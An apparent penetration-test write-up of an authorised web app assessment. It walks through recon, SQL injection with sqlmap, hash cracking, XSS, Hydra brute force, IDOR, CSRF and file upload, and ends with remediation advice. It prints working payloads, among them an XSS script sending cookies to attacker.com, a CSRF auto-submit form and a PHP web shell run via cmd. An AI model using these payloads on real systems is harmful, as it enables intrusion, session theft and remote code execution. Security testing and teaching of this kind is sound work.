Web App VAPT — Sample Target

Web App VAPT — Sample Target

This writeup documents a real-world Web Application Vulnerability Assessment and Penetration Test (VAPT) conducted against a client web application. All identifying information has been anonymised. Testing was performed with full written authorisation using Burp Suite and manual techniques aligned with the OWASP Testing Guide. Critical vulnerabilities were identified across injection, authentication, access control, and file handling — all reported and remediated.

Engagement Info

• Target: Anonymised client web application
• Type: Black-box Web Application VAPT
• Methodology: OWASP Testing Guide v4
• Tools: Burp Suite Pro, Nikto, OWASP ZAP, sqlmap, manual testing

Step 1 — Reconnaissance and Enumeration

Testing began with passive and active reconnaissance to map the application's attack surface before any exploitation:

# Directory and file enumeration
gobuster dir -u https://target.com \
  -w /usr/share/wordlists/dirb/common.txt

# Technology fingerprinting
whatweb https://target.com

# Initial vulnerability scan
nikto -h https://target.com -ssl

Key findings from enumeration:

• Admin panel exposed at /admin/ with no IP restriction
• Backup file /backup.zip accessible without authentication
• Server version and framework disclosed in HTTP response headers
• Directory listing enabled on /uploads/

All findings were logged in Burp Suite's site map for reference throughout the engagement.

Step 2 — SQL Injection

A product search parameter was identified as injectable. Manual testing confirmed the vulnerability before automation was used:

# Manual detection in Burp Suite Repeater
GET /products?id=1'
# Response: MySQL error — confirms injection point

GET /products?id=1 AND 1=2--
# Response: empty — Boolean-based injection confirmed

# Extract database version
GET /products?id=1 UNION SELECT NULL,version(),NULL--

# Automated extraction with sqlmap
sqlmap -u "https://target.com/products?id=1" \
  --dbs --batch --level=3

SQLi allowed extraction of the full database including a users table containing MD5-hashed admin credentials. The hash was cracked offline using Hashcat with rockyou.txt.

hashcat -m 0 <hash> \
  /usr/share/wordlists/rockyou.txt

Step 3 — Cross-Site Scripting (XSS)

Reflected and stored XSS were identified in multiple input fields. The comment section stored unsanitised input that executed in every visitor's browser:

# Reflected XSS — search parameter
https://target.com/search?q=<script>alert(1)</script>

# Stored XSS — comment field payload
<script>
  document.location='https://attacker.com/steal?c='
  +document.cookie
</script>

# CSP bypass test
<img src=x onerror=alert(document.domain)>

Stored XSS in the comment field allowed session cookie theft from any authenticated user who viewed the affected page, including administrators.

Step 4 — Broken Authentication

The login form had no rate limiting or account lockout. Hydra was used to brute force credentials after username enumeration via error message differences:

# Username enumeration via error messages
# Valid user:   "Incorrect password"
# Invalid user: "User not found"

# Brute force with Hydra
hydra -L users.txt -P /usr/share/wordlists/rockyou.txt \
  https-post-form \
  "/login:user=^USER^&pass=^PASS^:F=Invalid" \
  target.com

Additional authentication issues found:

• Password reset tokens were sequential and predictable
• Session tokens did not expire after logout
• Remember-me tokens stored in plaintext cookies

Step 5 — Insecure Direct Object Reference (IDOR)

The user profile endpoint used sequential integer IDs with no authorisation check — any authenticated user could view or modify another user's data:

# Authenticated as user ID 42 — access user ID 41
GET /api/users/41/profile
Authorization: Bearer <token_for_user_42>

# Response: full profile data for user 41 returned
# Including name, email, address, order history

# Modify another user's profile
POST /api/users/41/update
Authorization: Bearer <token_for_user_42>
{"email":"attacker@evil.com"}

IDOR allowed full horizontal privilege escalation across all user accounts. No server-side ownership check was performed on any /api/users/{id}/ endpoint.

Step 6 — CSRF

No CSRF tokens were present on state-changing forms. A proof-of-concept page was crafted to silently change a victim's email address when visited while authenticated:

<!-- CSRF PoC — auto-submits on page load -->
<form action="https://target.com/account/update"
      method="POST" id="csrf">
  <input type="hidden" name="email"
         value="attacker@evil.com">
</form>
<script>document.getElementById('csrf').submit()</script>

The attack succeeds silently because the browser automatically includes the victim's session cookie with the forged request. No token validation was performed server-side.

Step 7 — Unrestricted File Upload

The profile picture upload endpoint accepted any file type. A PHP web shell was uploaded by changing the Content-Type header in Burp Suite to bypass client-side validation:

# Upload PHP web shell via Burp Suite Repeater
# Change Content-Type to image/jpeg
# Filename: shell.php

POST /upload/avatar HTTP/1.1
Content-Type: multipart/form-data

Content-Disposition: form-data; name="file";
  filename="shell.php"
Content-Type: image/jpeg

<?php system($_GET['cmd']); ?>

The uploaded shell was accessible and executed commands:

# Execute commands via the uploaded shell
https://target.com/uploads/shell.php?cmd=id
# uid=33(www-data) gid=33(www-data)

Remote code execution was achieved on the web server. The finding was rated Critical and reported immediately for emergency remediation.

Step 8 — Reporting

All findings were documented in a structured VAPT report delivered to the client. Each vulnerability included:

• Severity rating — Critical / High / Medium / Low / Informational
• CVSS v3.1 score and vector string
• Affected URL and parameter
• Step-by-step reproduction steps
• Business impact description
• Specific remediation recommendations

A retest was conducted after the client applied fixes to verify all critical and high severity findings were resolved.

Key Takeaways

• SQL injection remains critical — parameterise every query, never concatenate user input
• All user-supplied input must be sanitised server-side — client-side validation is bypassable
• IDOR requires server-side ownership checks on every object access — never trust client-supplied IDs
• CSRF tokens must be unpredictable, per-session, and validated server-side on every state change
• File uploads must validate type server-side, rename files, and never store them in a web-accessible path
• Rate limiting and account lockout on login forms are essential — without them brute force is trivial

Tools Used

• Burp Suite Pro — intercepting proxy, Repeater, Intruder, and scanner
• sqlmap — automated SQL injection detection and exploitation
• Nikto — automated web server vulnerability scanning
• gobuster — directory and file enumeration
• Hydra — credential brute forcing
• Hashcat — offline hash cracking
• whatweb — technology fingerprinting
• OWASP ZAP — supplementary automated scanning